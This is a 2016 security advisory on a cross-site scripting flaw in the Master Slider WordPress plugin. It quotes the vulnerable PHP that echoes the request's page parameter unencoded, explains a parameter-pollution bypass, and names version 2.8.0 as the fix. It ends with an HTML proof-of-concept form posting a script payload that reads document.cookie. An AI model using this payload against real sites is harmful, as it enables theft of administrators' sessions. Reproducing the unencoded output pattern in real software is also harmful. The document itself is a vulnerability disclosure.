WordPress Master Slider 2.7.1 Cross Site Scripting

2016-07-12T00:00:00
ID PACKETSTORM:137876
Type packetstorm
Reporter Yorick Koster
Modified 2016-07-12T00:00:00

Description

                                        
                                            `------------------------------------------------------------------------  
Cross-Site Scripting vulnerability in Master Slider WordPress Plugin  
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Yorick Koster, July 2016  
  
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Abstract  
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A Cross-Site Scripting vulnerability was found in the Master Slider  
WordPress Plugin. This issue allows an attacker to perform a wide  
variety of actions, such as stealing Administrators' session tokens, or  
performing arbitrary actions on their behalf. In order to exploit this  
issue, the attacker has to lure/force a logged on WordPress  
Administrator into opening a malicious website.  
  
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OVE ID  
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OVE-20160712-0013  
  
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Tested versions  
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This issue was successfully tested on Master Slider - Responsive Touch  
Slider WordPress Plugin version 2.7.1.  
  
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Fix  
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This issue is resolved in Master Slider version 2.8.0.  
  
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Details  
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https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_master_slider_wordpress_plugin.html  
  
The issue exists in the file class-msp-list-table.php and is caused by the lack of output encoding on the page request parameter. The vulnerable code is listed below.  
  
return sprintf('<a href="?page=%s&action=%s&slider_id=%s">%s</a>',$_REQUEST['page'],'edit', $item['ID'], $item['title'] );  
  
[...]  
  
$buttons .= sprintf( '<a class="action-duplicate msp-ac-btn msp-btn-gray msp-iconic" href="?page=%s&action=%s&slider_id=%s%s"><span></span>%s</a>',$_REQUEST['page'],'duplicate' ,$item['ID'], $paged_arg, __('duplicate') );  
  
[...]  
  
$buttons .= sprintf( '<a class="action-delete msp-ac-btn msp-btn-red msp-iconic" href="?page=%s&action=%s&slider_id=%s%s" onClick="return confirm(\'%s\');" ><span></span>%s</a>', $_REQUEST['page'],'delete' ,$item['ID'],  
  
[...]  
  
$buttons .= sprintf( '<a class="action-preview msp-ac-btn msp-btn-blue msp-iconic" href="?page=%s&action=%s&slider_id=%s" onClick="lunchMastersliderPreviewBySliderID(%s);return false;" ><span></span>%s</a>',$_REQUEST['page'],'preview' ,$item['ID'], $item['ID'], __('preview') );  
  
  
Normally, the page URL parameter is validated by WordPress, which prevents Cross-Site Scripting. However in this case the value of page is obtained from $_REQUEST, not from $_GET. This allows for parameter pollution where the attacker puts a benign page value in the URL and simultaneously submits a malicious page value as POST parameter.  
Proof of concept  
  
<html>  
<body>  
<form action="http://<target>/wp-admin/admin.php?page=master-slider" method="POST">  
<input type="hidden" name="page" value=""<script>alert(document.cookie);</script>" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
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Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its  
goal is to contribute to the security of popular, widely used OSS  
projects in a fun and educational way.  
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